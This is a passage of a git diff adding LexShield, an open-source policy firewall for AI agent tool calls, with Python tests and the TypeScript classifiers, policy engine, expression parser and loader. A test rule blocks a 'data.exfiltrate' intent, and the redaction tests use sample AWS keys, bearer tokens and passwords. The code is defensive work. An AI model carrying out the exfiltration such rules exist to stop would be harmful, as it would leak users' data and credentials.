VerdictType.ALLOW + assert verdict.matched_rule_id == "rule-a" + + +def test_default_deny_when_no_rule_matches(baseline_engine: PolicyEngine) -> None: + request = _request(tool="unknown_tool") + classifications = [_classification("unknown.unclassified", 0.2)] + + verdict = baseline_engine.evaluate(request, classifications) + + assert verdict.decision == VerdictType.BLOCK + assert verdict.matched_rule_id is None + assert "default deny for unclassified intent" in verdict.reason + + +def test_glob_tools_match() -> None: + policy = Policy( + id="glob-tools", + name="Glob tools", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="allow-send", + name="Allow send tools", + priority=100, + match=RuleMatch( + tools=["send_*"], + intents=["comms.send.email"], + ), + verdict=VerdictType.ALLOW, + reason="Send tools allowed", + ), + ], + ) + engine = _engine_for_policy(policy) + request = _request(tool="send_email") + classifications = [_classification("comms.send.email")] + + verdict = engine.evaluate(request, classifications) + + assert verdict.decision == VerdictType.ALLOW + assert verdict.matched_rule_id == "allow-send" + + +def test_tags_match_requires_all_keys() -> None: + policy = Policy( + id="tag-policy", + name="Tag policy", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="challenge-pii", + name="Challenge PII", + priority=200, + match=RuleMatch( + intents=["comms.send.email"], + tags={"data_class": ["pii"], "region": ["us"]}, + ), + verdict=VerdictType.CHALLENGE, + reason="PII egress requires approval", + ), + ], + ) + engine = _engine_for_policy(policy) + request = _request( + tool="send_email", + tags={"data_class": "pii"}, + ) + classifications = [_classification("comms.send.email")] + + blocked = engine.evaluate(request, classifications) + assert blocked.decision == VerdictType.BLOCK + assert blocked.matched_rule_id is None + + request_with_tags = _request( + tool="send_email", + tags={"data_class": "pii", "region": "us"}, + ) + challenged = engine.evaluate(request_with_tags, classifications) + assert challenged.decision == VerdictType.CHALLENGE + assert challenged.matched_rule_id == "challenge-pii" + + +def test_expression_evaluation() -> None: + policy = Policy( + id="expr-policy", + name="Expression policy", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="block-gmail", + name="Block gmail recipients", + priority=250, + match=RuleMatch( + intents=["comms.send.email"], + expression='env == "production" && args.to contains "@gmail.com"', + ), + verdict=VerdictType.BLOCK, + reason="Gmail not allowed in production", + ), + PolicyRule( + id="allow-allowlisted-url", + name="Allow allowlisted URL", + priority=200, + match=RuleMatch( + intents=["network.request.http"], + expression='args.url startsWith "https://api.mycompany.com/"', + ), + verdict=VerdictType.ALLOW, + reason="Allowlisted host", + ), + ], + ) + engine = _engine_for_policy(policy) + + blocked_request = _request( + tool="send_email", + arguments={"to": "user@gmail.com"}, + environment="production", + ) + blocked = engine.evaluate( + blocked_request, + [_classification("comms.send.email")], + ) + assert blocked.decision == VerdictType.BLOCK + assert blocked.matched_rule_id == "block-gmail" + + allowed_request = _request( + tool="http_request", + arguments={"url": "https://api.mycompany.com/v1/data"}, + ) + allowed = engine.evaluate( + allowed_request, + [_classification("network.request.http")], + ) + assert allowed.decision == VerdictType.ALLOW + assert allowed.matched_rule_id == "allow-allowlisted-url" + + +def test_expression_parser_rejects_empty_expression() -> None: + with pytest.raises(ExpressionError): + Expression.parse(" ") + + +def test_expression_supports_in_operator() -> None: + expr = Expression.parse('intent in ["comms.send.email", "comms.send.slack"]') + bindings = { + "intent": "comms.send.email", + "confidence": 0.9, + "tool.name": "send_email", + "caller.id": "agent-1", + "caller.type": "agent", + "env": "staging", + } + assert expr.evaluate(bindings) is True + + +def test_expression_numeric_comparison() -> None: + expr = Expression.parse("confidence >= 0.7") + bindings = build_expression_bindings( + _request(), + [_classification("network.request.health", 0.75)], + ) + assert expr.evaluate(bindings) is True + + +def test_rule_matches_alternative_intent() -> None: + compiled = CompiledPolicy.from_policy( + Policy( + id="alt-intent", + name="Alt intent", + version="1", + defaultVerdict=VerdictType.BLOCK, + rules=[ + PolicyRule( + id="allow-alt", + name="Allow alt", + priority=100, + match=RuleMatch(intents=["data.exfiltrate"]), + verdict=VerdictType.BLOCK, + reason="Blocked exfil", + ), + ], + ) + ) + request = _request(tool="http_request") + classifications = [ + _classification( + "network.request.http", + 0.6, + alternatives=[("data.exfiltrate", 0.4)], + ) + ] + + assert rule_matches(compiled.rules[0], request, classifications) is True + + +def test_disabled_rules_are_skipped() -> None: + policy = Policy( + id="disabled", + name="Disabled", + version="1", + defaultVerdict=VerdictType.ALLOW, + rules=[ + PolicyRule( + id="disabled-block", + name="Disabled block", + priority=500, + enabled=False, + match=RuleMatch(tools=["health_check"]), + verdict=VerdictType.BLOCK, + reason="Would block", + ), + ], + ) + engine = _engine_for_policy(policy) + verdict = engine.evaluate( + _request(tool="health_check"), + [_classification("network.request.health")], + ) + assert verdict.decision == VerdictType.ALLOW + assert verdict.matched_rule_id is None diff --git a/packages/engine-py/tests/test_redaction.py b/packages/engine-py/tests/test_redaction.py new file mode 100644 index 0000000..11be278 --- /dev/null +++ b/packages/engine-py/tests/test_redaction.py @@ -0,0 +1,50 @@ +"""Redaction tests per SPEC §9.6.""" + +from lexshield.redaction import redact_arguments, redact_string + + +def test_redact_aws_key() -> None: + text = "credentials AKIAIOSFODNN7EXAMPLE here" + redacted, applied = redact_string(text) + assert "[REDACTED_AWS_KEY]" in redacted + assert "AKIAIOSFODNN7EXAMPLE" not in redacted + assert applied + + +def test_redact_openai_api_key() -> None: + text = "token sk-proj-abcdefghijklmnopqrstuvwxyz123456" + redacted, applied = redact_string(text) + assert "[REDACTED_API_KEY]" in redacted + assert "sk-proj-" not in redacted + assert applied + + +def test_redact_bearer_token() -> None: + text = "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.payload.sig" + redacted, _ = redact_string(text) + assert redacted == "Authorization: Bearer [REDACTED]" + + +def test_redact_password_assignment() -> None: + text = "config password=supersecret123" + redacted, _ = redact_string(text) + assert redacted == "config password=[REDACTED]" + + +def test_redact_email_hash_default() -> None: + text = "contact user@example.com please" + redacted, applied = redact_string(text, redact_emails="hash") + assert "user@example.com" not in redacted + assert "[EMAIL_HASH:" in redacted + assert "email" in applied + + +def test_redact_arguments_nested() -> None: + args = { + "body": "key AKIAIOSFODNN7EXAMPLE", + "nested": {"token": "Bearer abc.def.ghi"}, + } + redacted, applied = redact_arguments(args, redact_emails="off") + assert "[REDACTED_AWS_KEY]" in redacted["body"] + assert "Bearer [REDACTED]" in redacted["nested"]["token"] + assert applied diff --git a/packages/engine-ts/package.json b/packages/engine-ts/package.json new file mode 100644 index 0000000..7496647 --- /dev/null +++ b/packages/engine-ts/package.json @@ -0,0 +1,40 @@ +{ + "name": "@latticeag/lexshield", + "version": "0.1.0", + "description": "LexShield — open-source agent intent router and policy firewall (TypeScript SDK)", + "license": "MIT", + "author": "LatticeAG", + "type": "module", + "engines": { + "node": ">=20" + }, + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.js" + } + }, + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "files": [ + "dist" + ], + "scripts": { + "build": "tsup", + "dev": "tsup --watch", + "typecheck": "tsc --noEmit", + "test": "vitest run", + "test:golden": "vitest run tests/golden.test.ts", + "test:watch": "vitest" + }, + "dependencies": { + "yaml": "^2.8.0", + "zod": "^3.24.2" + }, + "devDependencies": { + "@types/node": "^22.15.3", + "tsup": "^8.5.0", + "typescript": "^5.8.3", + "vitest": "^3.2.4" + } +} diff --git a/packages/engine-ts/src/classifiers/deterministic.ts b/packages/engine-ts/src/classifiers/deterministic.ts new file mode 100644 index 0000000..1c20fef --- /dev/null +++ b/packages/engine-ts/src/classifiers/deterministic.ts @@ -0,0 +1,119 @@ +import { readFile } from 'node:fs/promises'; +import { parse as parseYaml } from 'yaml'; + +import { LexShieldConfigError } from '../errors.js'; +import { + DeterministicRulesSchema, + type Classification, + type DeterministicRules, + type ToolCallRequest, +} from '../types.js'; + +export interface DeterministicClassifierOptions { + rules?: DeterministicRules; + rulesPath?: string; +} + +function argsBlob(args: Record): string { + return Object.values(args) + .map((value) => String(value)) + .join(' '); +} + +function toJsRegex(pattern: string): RegExp { + if (pattern.startsWith('(?i)')) { + return new RegExp(pattern.slice(4), 'i'); + } + return new RegExp(pattern); +} + +function matchPattern( + request: ToolCallRequest, + patternRule: DeterministicRules['patterns'][number], +): boolean { + const matchSpec = patternRule.match; + + const anyArgRegex = matchSpec.any_arg_regex; + if (anyArgRegex && toJsRegex(anyArgRegex).test(argsBlob(request.arguments))) { + return true; + } + + for (const [key, value] of Object.entries(request.arguments)) { + const argRegex = matchSpec[`arg_regex:${key}`]; + if (typeof argRegex === 'string' && toJsRegex(argRegex).test(String(value))) { + return true; + } + } + + return false; +} + +export async function loadDeterministicRulesFromFile(path: string): Promise { + let raw: string; + try { + raw = await readFile(path, 'utf8'); + } catch (error) { + throw new LexShieldConfigError(`Failed to read deterministic rules file: ${path}`, { + cause: error, + }); + } + + return loadDeterministicRulesFromString(raw, path); +} + +export function loadDeterministicRulesFromString( + content: string, + source = 'rules', +): DeterministicRules { + let parsed: unknown; + try { + parsed = parseYaml(content); + } catch (error) { + throw new LexShieldConfigError(`Invalid YAML in deterministic rules: ${source}`, { + cause: error, + }); + } + + const result = DeterministicRulesSchema.safeParse(parsed ?? {}); + if (!result.success) { + throw new LexShieldConfigError( + `Deterministic rules validation failed for ${source}: ${result.error.message}`, + { cause: result.error }, + ); + } + + return result.data; +} + +export function classifyDeterministic( + request: ToolCallRequest, + options: DeterministicClassifierOptions, +): Classification | null { + const rules = options.rules; + if (!rules) { + return null; + } + + for (const patternRule of rules.patterns) { + if (matchPattern(request, patternRule)) { + return { + intent: patternRule.intent, + confidence: patternRule.confidence, + alternatives: [], + classifier: 'deterministic:v1', + }; + } + } + + const toolIntent = rules.tool_map[request.tool.name]; + if (toolIntent) { + return { + intent: toolIntent, + confidence: 0.7, + alternatives: [], + classifier: 'deterministic:v1', + }; + } + + return null; +} diff --git a/packages/engine-ts/src/classifiers/pipeline.ts b/packages/engine-ts/src/classifiers/pipeline.ts new file mode 100644 index 0000000..3ad9676 --- /dev/null +++ b/packages/engine-ts/src/classifiers/pipeline.ts @@ -0,0 +1,44 @@ +import { classifyDeterministic } from './deterministic.js'; +import type { Classification, DeterministicRules, ToolCallRequest } from '../types.js'; + +const DETERMINISTIC_SKIP_LLM_THRESHOLD = 0.9; +export const UNKNOWN_INTENT = 'unknown.unclassified'; + +export interface ClassifierPipelineOptions { + deterministicRules?: DeterministicRules; + llmEnabled?: boolean; +} + +export async function runClassifierPipeline( + request: ToolCallRequest, + options: ClassifierPipelineOptions = {}, +): Promise { + const results: Classification[] = []; + + const deterministic = classifyDeterministic(request, { + rules: options.deterministicRules, + }); + + if (deterministic) { + results.push(deterministic); + if (deterministic.confidence >= DETERMINISTIC_SKIP_LLM_THRESHOLD) { + return results; + } + } + + if (options.llmEnabled) { + // LLM classifier is not implemented in the scaffold. + } + + if (results.length === 0) { + results.push({ + intent: UNKNOWN_INTENT, + confidence: 0.3, + alternatives: [], + classifier: 'deterministic:v1', + reasoning: 'No deterministic classification', + }); + } + + return results; +} diff --git a/packages/engine-ts/src/errors.ts b/packages/engine-ts/src/errors.ts new file mode 100644 index 0000000..4584f3e --- /dev/null +++ b/packages/engine-ts/src/errors.ts @@ -0,0 +1,47 @@ +import type { Verdict } from './types.js'; + +export type LexShieldErrorCode = + | 'lexshield_blocked' + | 'lexshield_challenged' + | 'lexshield_deferred' + | 'lexshield_config' + | 'lexshield_upstream'; + +export class LexShieldError extends Error { + readonly code: LexShieldErrorCode; + readonly requestId?: string; + readonly verdict?: Verdict; + + constructor( + message: string, + code: LexShieldErrorCode, + options?: { requestId?: string; verdict?: Verdict; cause?: unknown }, + ) { + super(message, { cause: options?.cause }); + this.name = 'LexShieldError'; + this.code = code; + this.requestId = options?.requestId; + this.verdict = options?.verdict; + } +} + +export class LexShieldBlockedError extends LexShieldError { + constructor(message: string, options?: { requestId?: string; verdict?: Verdict }) { + super(message, 'lexshield_blocked', options); + this.name = 'LexShieldBlockedError'; + } +} + +export class LexShieldChallengeError extends LexShieldError { + constructor(message: string, options?: { requestId?: string; verdict?: Verdict }) { + super(message, 'lexshield_challenged', options); + this.name = 'LexShieldChallengeError'; + } +} + +export class LexShieldConfigError extends LexShieldError { + constructor(message: string, options?: { cause?: unknown }) { + super(message, 'lexshield_config', { cause: options?.cause }); + this.name = 'LexShieldConfigError'; + } +} diff --git a/packages/engine-ts/src/index.ts b/packages/engine-ts/src/index.ts new file mode 100644 index 0000000..3a0f7ca --- /dev/null +++ b/packages/engine-ts/src/index.ts @@ -0,0 +1,72 @@ +export { VERSION } from './version.js'; + +export { + LexShieldBlockedError, + LexShieldChallengeError, + LexShieldConfigError, + LexShieldError, + type LexShieldErrorCode, +} from './errors.js'; + +export { + redactArguments, + redactText, + redactValue, + REDACTION_PATTERNS, + type EmailRedactionMode, + type RedactionOptions, +} from './redaction.js'; + +export { Shield, type EvaluateInput, type GuardOptions, type ShieldOptions } from './shield.js'; + +export { loadPolicyFromFile, loadPolicyFromString, loadPolicyFromData, resolvePolicyPath } from './policy/loader.js'; +export { evaluatePolicy, type PolicyEvaluationInput } from './policy/engine.js'; +export { Expression, ExpressionError, buildExpressionBindings } from './policy/expressions.js'; + +export { + classifyDeterministic, + loadDeterministicRulesFromFile, + loadDeterministicRulesFromString, +} from './classifiers/deterministic.js'; +export { runClassifierPipeline, type ClassifierPipelineOptions } from './classifiers/pipeline.js'; + +export { + CallerSchema, + CallerTypeSchema, + CallContextSchema, + ChallengeConfigSchema, + ClassificationSchema, + DeterministicRulesSchema, + OutcomeTypeSchema, + PolicyRuleSchema, + PolicySchema, + PriorCallSchema, + RuleMatchSchema, + ShieldConfigSchema, + SinkConfigSchema, + ToolCallRequestSchema, + ToolRefSchema, + TraceSchema, + UpstreamConfigSchema, + VerdictSchema, + VerdictTypeSchema, + type Caller, + type CallerType, + type CallContext, + type ChallengeConfig, + type Classification, + type DeterministicRules, + type OutcomeType, + type Policy, + type PolicyRule, + type PriorCall, + type RuleMatch, + type ShieldConfig, + type SinkConfig, + type ToolCallRequest, + type ToolRef, + type Trace, + type UpstreamConfig, + type Verdict, + type VerdictType, +} from './types.js'; diff --git a/packages/engine-ts/src/policy/engine.ts b/packages/engine-ts/src/policy/engine.ts new file mode 100644 index 0000000..3fbf16c --- /dev/null +++ b/packages/engine-ts/src/policy/engine.ts @@ -0,0 +1,190 @@ +import type { Classification, Policy, PolicyRule, ToolCallRequest, Verdict } from '../types.js'; +import { + Expression, + buildExpressionBindings, + type ExpressionBindings, +} from './expressions.js'; + +export interface PolicyEvaluationInput { + request: ToolCallRequest; + classifications: Classification[]; +} + +const UNKNOWN_INTENT = 'unknown.unclassified'; +const expressionCache = new Map(); + +function getExpression(source: string): Expression { + let compiled = expressionCache.get(source); + if (!compiled) { + compiled = Expression.parse(source); + expressionCache.set(source, compiled); + } + return compiled; +} + +function globMatch(pattern: string, value: string): boolean { + const escaped = pattern.replace(/[.+^${}()|[\]\\]/g, '\\$&').replace(/\*/g, '.*'); + const regex = new RegExp(`^${escaped}$`); + return regex.test(value); +} + +function matchingIntents(classifications: Classification[]): Set { + const intents = new Set(); + const primary = classifications[0]; + if (!primary) { + return intents; + } + + intents.add(primary.intent); + for (const alternative of primary.alternatives) { + intents.add(alternative.intent); + } + + return intents; +} + +function tagsMatch( + requiredTags: Record, + contextTags: Record | undefined, +): boolean { + if (contextTags === undefined) { + return false; + } + + for (const [key, allowedValues] of Object.entries(requiredTags)) { + const actual = contextTags[key]; + if (actual === undefined || !allowedValues.includes(actual)) { + return false; + } + } + + return true; +} + +function ruleMatches( + rule: PolicyRule, + input: PolicyEvaluationInput, + bindings: ExpressionBindings, +): boolean { + const { request, classifications } = input; + const primary = classifications[0]; + const match = rule.match; + + if (match.tools?.length) { + const toolName = request.tool.name; + const matched = match.tools.some((pattern) => globMatch(pattern, toolName)); + if (!matched) { + return false; + } + } + + if (match.intents?.length) { + const intents = matchingIntents(classifications); + const matched = match.intents.some((intent) => intents.has(intent)); + if (!matched) { + return false; + } + } + + if (match.environments?.length) { + const env = request.context.environment; + if (!env || !match.environments.includes(env)) { + return false; + } + } + + if (match.callers?.length) { + if (!match.callers.includes(request.caller.id)) { + return false; + } + } + + if (match.roles?.length) { + const roles = request.caller.roles ?? []; + const matched = match.roles.some((role) => roles.includes(role)); + if (!matched) { + return false; + } + } + + if (match.tags && Object.keys(match.tags).length > 0) { + if (!tagsMatch(match.tags, request.context.tags)) { + return false; + } + } + + if (match.minConfidence !== undefined) { + if (!primary || primary.confidence < match.minConfidence) { + return false; + } + } + + if (match.expression) { + try { + if (!getExpression(match.expression).evaluate(bindings)) { + return false; + } + } catch { + return false; + } + } + + return true; +} + +function sortRules(rules: PolicyRule[]): PolicyRule[] { + return [...rules] + .filter((rule) => rule.enabled !== false) + .sort((a, b) => { + if (b.priority !== a.priority) { + return b.priority - a.priority; + } + return a.id.localeCompare(b.id); + }); +} + +export function evaluatePolicy( + policy: Policy, + input: PolicyEvaluationInput, + startedAt = Date.now(), +): Verdict { + const primary = input.classifications[0]; + const bindings = buildExpressionBindings(input.request, input.classifications); + const sorted = sortRules(policy.rules); + const matchedRule = sorted.find((rule) => ruleMatches(rule, input, bindings)); + + if (matchedRule) { + return { + requestId: input.request.id, + decision: matchedRule.verdict, + matchedRuleId: matchedRule.id, + reason: matchedRule.reason, + classifications: input.classifications, + durationMs: Date.now() - startedAt, + policyVersion: policy.version, + challengeId: + matchedRule.verdict === 'CHALLENGE' ? `challenge-${input.request.id}` : undefined, + }; + } + + if (!primary || primary.intent === UNKNOWN_INTENT) { + return { + requestId: input.request.id, + decision: 'BLOCK', + reason: 'No matching policy rule; default deny for unclassified intent', + classifications: input.classifications, + durationMs: Date.now() - startedAt, + policyVersion: policy.version, + }; + } + + const decision = policy.defaultVerdict; + return { + requestId: input.request.id, + decision, + reason: `No matching rule; applied default verdict ${decision}`, + classifications: input.classifications, + durationMs: Date.now() - startedAt, + policyVersion: policy.version, + }; +} diff --git a/packages/engine-ts/src/policy/expressions.ts b/packages/engine-ts/src/policy/expressions.ts new file mode 100644 index 0000000..d56d1c7 --- /dev/null +++ b/packages/engine-ts/src/policy/expressions.ts @@ -0,0 +1,457 @@ +export class ExpressionError extends Error { + constructor(message: string) { + super(message); + this.name = 'ExpressionError'; + } +} + +export type ExpressionBindings = Record; + +type Token = + | { type: 'string'; value: string } + | { type: 'number'; value: number } + | { type: 'ident'; value: string } + | { type: 'op'; value: string } + | { type: 'keyword'; value: string } + | { type: 'lparen' } + | { type: 'rparen' } + | { type: 'lbracket' } + | { type: 'rbracket' } + | { type: 'comma' } + | { type: 'eof' }; + +type Expr = + | { kind: 'literal'; value: string | number | unknown[] } + | { kind: 'ident'; name: string } + | { kind: 'unary'; op: '!'; arg: Expr } + | { kind: 'binary'; op: string; left: Expr; right: Expr }; + +const KEYWORDS = new Set(['in', 'startsWith', 'contains', 'matches']); + +function tokenize(source: string): Token[] { + const tokens: Token[] = []; + let index = 0; + + while (index < source.length) { + const char = source[index]!; + if (/\s/.test(char)) { + index += 1; + continue; + } + + if (char === '"' || char === "'") { + const quote = char; + let value = ''; + index += 1; + while (index < source.length) { + const current = source[index]!; + if (current === '\\' && index + 1 < source.length) { + value += source[index + 1]; + index += 2; + continue; + } + if (current === quote) { + index += 1; + break; + } + value += current; + index += 1; + } + tokens.push({ type: 'string', value }); + continue; + } + + if (/[0-9]/.test(char) || (char === '.' && index + 1 < source.length && /[0-9]/.test(source[index + 1]!))) { + let raw = ''; + while (index < source.length && /[0-9.]/.test(source[index]!)) { + raw += source[index]!; + index += 1; + } + const value = Number(raw); + if (Number.isNaN(value)) { + throw new ExpressionError(`Invalid number literal: ${raw}`); + } + tokens.push({ type: 'number', value }); + continue; + } + + const twoChar = source.slice(index, index + 2); + if (['&&', '||', '==', '!=', '>=', '<='].includes(twoChar)) { + tokens.push({ type: 'op', value: twoChar }); + index += 2; + continue; + } + + if ('()[],!><'.includes(char)) { + switch (char) { + case '(': + tokens.push({ type: 'lparen' }); + break; + case ')': + tokens.push({ type: 'rparen' }); + break; + case '[': + tokens.push({ type: 'lbracket' }); + break; + case ']': + tokens.push({ type: 'rbracket' }); + break; + case ',': + tokens.push({ type: 'comma' }); + break; + case '!': + case '>': + case '<': + tokens.push({ type: 'op', value: char }); + break; + } + index += 1; + continue; + } + + if (/[a-zA-Z_]/.test(char)) { + let ident = ''; + while (index < source.length && /[a-zA-Z0-9_.]/.test(source[index]!)) { + ident += source[index]!; + index += 1; + } + if (KEYWORDS.has(ident)) { + tokens.push({ type: 'keyword', value: ident }); + } else { + tokens.push({ type: 'ident', value: ident }); + } + continue; + } + + throw new ExpressionError(`Unexpected character in expression: ${char}`); + } + + tokens.push({ type: 'eof' }); + return tokens; +} + +class Parser { + private index = 0; + + constructor(private readonly tokens: Token[]) {} + + parse(): Expr { + const expr = this.parseOr(); + if (this.peek().type !== 'eof') { + throw new ExpressionError('Unexpected tokens after expression'); + } + return expr; + } + + private parseOr(): Expr { + let left = this.parseAnd(); + while (this.matchOp('||')) { + const right = this.parseAnd(); + left = { kind: 'binary', op: '||', left, right }; + } + return left; + } + + private parseAnd(): Expr { + let left = this.parseUnary(); + while (this.matchOp('&&')) { + const right = this.parseUnary(); + left = { kind: 'binary', op: '&&', left, right }; + } + return left; + } + + private parseUnary(): Expr { + if (this.matchOp('!')) { + return { kind: 'unary', op: '!', arg: this.parseUnary() }; + } + return this.parseComparison(); + } + + private parseComparison(): Expr { + let left = this.parsePostfix(); + const next = this.peek(); + + if (next.type === 'op' && ['==', '!=', '>', '>=', '<', '<='].includes(next.value)) { + this.advance(); + const right = this.parsePostfix(); + return { kind: 'binary', op: next.value, left, right }; + } + + return left; + } + + private parsePostfix(): Expr { + let left = this.parsePrimary(); + const next = this.peek(); + + if (next.type === 'keyword' && KEYWORDS.has(next.value)) { + const op = next.value; + this.advance(); + const right = this.parsePrimary(); + return { kind: 'binary', op, left, right }; + } + + return left; + } + + private parsePrimary(): Expr { + const token = this.peek(); + + if (token.type === 'string') { + this.advance(); + return { kind: 'literal', value: token.value }; + } + + if (token.type === 'number') { + this.advance(); + return { kind: 'literal', value: token.value }; + } + + if (token.type === 'ident') { + this.advance(); + return { kind: 'ident', name: token.value }; + } + + if (token.type === 'lparen') { + this.advance(); + const expr = this.parseOr(); + if (this.peek().type !== 'rparen') { + throw new ExpressionError('Expected closing parenthesis'); + } + this.advance(); + return expr; + } + + if (token.type === 'lbracket') { + this.advance(); + const values: unknown[] = []; + if (this.peek().type !== 'rbracket') { + do { + values.push(this.evalLiteralValue(this.parsePrimary())); + if (this.peek().type === 'comma') { + this.advance(); + continue; + } + break; + } while (this.peek().type !== 'rbracket'); + } + if (this.peek().type !== 'rbracket') { + throw new ExpressionError('Expected closing bracket'); + } + this.advance(); + return { kind: 'literal', value: values }; + } + + throw new ExpressionError(`Unexpected token in expression: ${token.type}`); + } + + private evalLiteralValue(expr: Expr): string | number { + if (expr.kind === 'literal') { + if (typeof expr.value === 'string' || typeof expr.value === 'number') { + return expr.value; + } + } + if (expr.kind === 'ident') { + return expr.name; + } + throw new ExpressionError('List literals may only contain strings or numbers'); + } + + private peek(): Token { + return this.tokens[this.index] ?? { type: 'eof' }; + } + + private advance(): Token { + const token = this.peek(); + this.index += 1; + return token; + } + + private matchOp(value: string): boolean { + const token = this.peek(); + if (token.type === 'op' && token.value === value) { + this.advance(); + return true; + } + return false; + } +} + +function resolveIdent(name: string, bindings: ExpressionBindings): unknown { + if (Object.prototype.hasOwnProperty.call(bindings, name)) { + return bindings[name]; + } + + const parts = name.split('.'); + let current: unknown = bindings; + for (const part of parts) { + if (current && typeof current === 'object' && !Array.isArray(current)) { + current = (current as Record)[part]; + } else { + return ''; + } + } + + return current ?? ''; +} + +function compareEqual(left: unknown, right: unknown): boolean { + if (typeof left === 'number' && typeof right === 'number') { + return left === right; + } + if (typeof left === 'number' && typeof right === 'string') { + const parsed = Number(right); + return !Number.isNaN(parsed) && left === parsed; + } + if (typeof right === 'number' && typeof left === 'string') { + const parsed = Number(left); + return !Number.isNaN(parsed) && parsed === right; + } + return left === right; +} + +function evalExpr(expr: Expr, bindings: ExpressionBindings): unknown { + switch (expr.kind) { + case 'literal': + return expr.value; + case 'ident': + return resolveIdent(expr.name, bindings); + case 'unary': { + const value = evalExpr(expr.arg, bindings); + return !Boolean(value); + } + case 'binary': { + if (expr.op === '||') { + return Boolean(evalExpr(expr.left, bindings)) || Boolean(evalExpr(expr.right, bindings)); + } + if (expr.op === '&&') { + return Boolean(evalExpr(expr.left, bindings)) && Boolean(evalExpr(expr.right, bindings)); + } + if (expr.op === 'startsWith') { + const left = evalExpr(expr.left, bindings); + const right = evalExpr(expr.right, bindings); + return String(left ?? '').startsWith(String(right ?? '')); + } + if (expr.op === 'contains') { + const left = evalExpr(expr.left, bindings); + const right = evalExpr(expr.right, bindings); + return String(right ?? '') !== '' && String(left ?? '').includes(String(right ?? '')); + } + if (expr.op === 'matches') { + const left = evalExpr(expr.left, bindings); + const right = evalExpr(expr.right, bindings); + try { + return new RegExp(String(right ?? '')).test(String(left ?? '')); + } catch { + return false; + } + } + if (expr.op === 'in') { + const left = evalExpr(expr.left, bindings); + const right = evalExpr(expr.right, bindings); + if (!Array.isArray(right)) { + return false; + } + return right.some((item) => compareEqual(item, left)); + } + + const left = evalExpr(expr.left, bindings); + const right = evalExpr(expr.right, bindings); + switch (expr.op) { + case '==': + return compareEqual(left, right); + case '!=': + return !compareEqual(left, right); + case '>': + return (left as number) > (right as number); + case '>=': + return (left as number) >= (right as number); + case '<': + return (left as number) < (right as number); + case '<=': + return (left as number) <= (right as number); + default: + throw new ExpressionError(`Unsupported operator: ${expr.op}`); + } + } + default: + throw new ExpressionError('Invalid expression node'); + } +} + +export class Expression { + readonly source: string; + private readonly ast: Expr; + + private constructor(source: string, ast: Expr) { + this.source = source; + this.ast = ast; + } + + static parse(source: string): Expression { + if (!source || !source.trim()) { + throw new ExpressionError('Expression must not be empty'); + } + const trimmed = source.trim(); + const tokens = tokenize(trimmed); + const parser = new Parser(tokens); + const ast = parser.parse(); + return new Expression(trimmed, ast); + } + + evaluate(bindings: ExpressionBindings): boolean { + return Boolean(evalExpr(this.ast, bindings)); + } +} + +function stringifyArg(value: unknown): string { + if (typeof value === 'boolean') { + return value ? 'true' : 'false'; + } + if (typeof value === 'number') { + return String(value); + } + if (value === null || value === undefined) { + return ''; + } + return String(value); +} + +export function buildExpressionBindings( + request: { + tool: { name: string; namespace?: string }; + caller: { id: string; type: string; roles?: string[] }; + arguments: Record; + context: { environment?: string; tags?: Record }; + }, + classifications: Array<{ intent: string; confidence: number }>, +): ExpressionBindings { + const bindings: ExpressionBindings = { + 'tool.name': request.tool.name, + 'tool.namespace': request.tool.namespace ?? '', + 'caller.id': request.caller.id, + 'caller.type': request.caller.type, + env: request.context.environment ?? '', + }; + + if (request.caller.roles?.length) { + bindings['caller.roles'] = [...request.caller.roles]; + } + + if (classifications.length > 0) { + const primary = classifications[0]!; + bindings.intent = primary.intent; + bindings.confidence = primary.confidence; + } + + for (const [key, value] of Object.entries(request.context.tags ?? {})) { + bindings[`tags.${key}`] = value; + } + + for (const [key, value] of Object.entries(request.arguments)) { + bindings[`args.${key}`] = stringifyArg(value); + } + + return bindings; +} diff --git a/packages/engine-ts/src/policy/loader.ts b/packages/engine-ts/src/policy/loader.ts new file mode 100644 index 0000000..153d484 --- /dev/null +++ b/packages/engine-ts/src/policy/loader.ts @@ -0,0 +1,70 @@ +import { readFile } from 'node:fs/promises'; +import { parse as parseYaml } from 'yaml'; + +import { LexShieldConfigError } from '../errors.js'; +import { PolicySchema, type Policy } from '../types.js'; + +function normalizePolicyData(data: Record): Record { + const normalized = { ...data }; + + if ('version' in normalized && typeof normalized.version !== 'string') { + normalized.version = String(normalized.version); + } + + if (Array.isArray(normalized.rules)) { + normalized.rules = normalized.rules.map((rule) => { + if (rule && typeof rule === 'object' && !('name' in rule)) { + const record = rule as Record; + return { ...record, name: record.id ?? 'rule' }; + } + return rule; + }); + } + + return normalized; +} + +export async function loadPolicyFromFile(path: string): Promise { + let raw: string; + try { + raw = await readFile(path, 'utf8'); + } catch (error) { + throw new LexShieldConfigError(`Failed to read policy file: ${path}`, { cause: error }); + } + + return loadPolicyFromString(raw, path); +} + +export function loadPolicyFromString(content: string, source = 'policy'): Policy { + let parsed: unknown; + try { + parsed = parseYaml(content); + } catch (error) { + throw new LexShieldConfigError(`Invalid YAML in policy: ${source}`, { cause: error }); + } + + if (!parsed || typeof parsed !== 'object') { + throw new LexShieldConfigError(`Policy root must be a mapping: ${source}`); + } + + return loadPolicyFromData(parsed as Record, source); +} + +export function loadPolicyFromData(data: Record, source = 'policy'): Policy { + const normalized = normalizePolicyData(data); + const result = PolicySchema.safeParse(normalized); + if (!result.success) { + throw new LexShieldConfigError( + `Policy validation failed for ${source}: ${result.error.message}`, + { cause: result.error }, + ); + } + + return result.data; +} + +export async function resolvePolicyPath(configPath: string, policyRef: string): Promise { + const { dirname, resolve } = await import('node:path'); + const baseDir = dirname(resolve(configPath)); + return resolve(baseDir, policyRef); +} diff --git a/packages/engine-ts/src/redaction.ts b/packages/engine-ts/src/redaction.ts new file mode 100644 index 0000000..3ffa596 --- /dev/null +++ b/packages/engine-ts/src/redaction.ts @@ -0,0 +1,97 @@ +import { createHash } from 'node:crypto'; + +export type EmailRedactionMode = 'hash' | 'redact' | 'off'; + +export interface RedactionOptions { + /** Default: `hash` for traces, `redact` when sending to LLM. */ + emails?: EmailRedactionMode; +} + +const AWS_KEY_PATTERN = /AKIA[0-9A-Z]{16}/g; +const API_KEY_PATTERN = 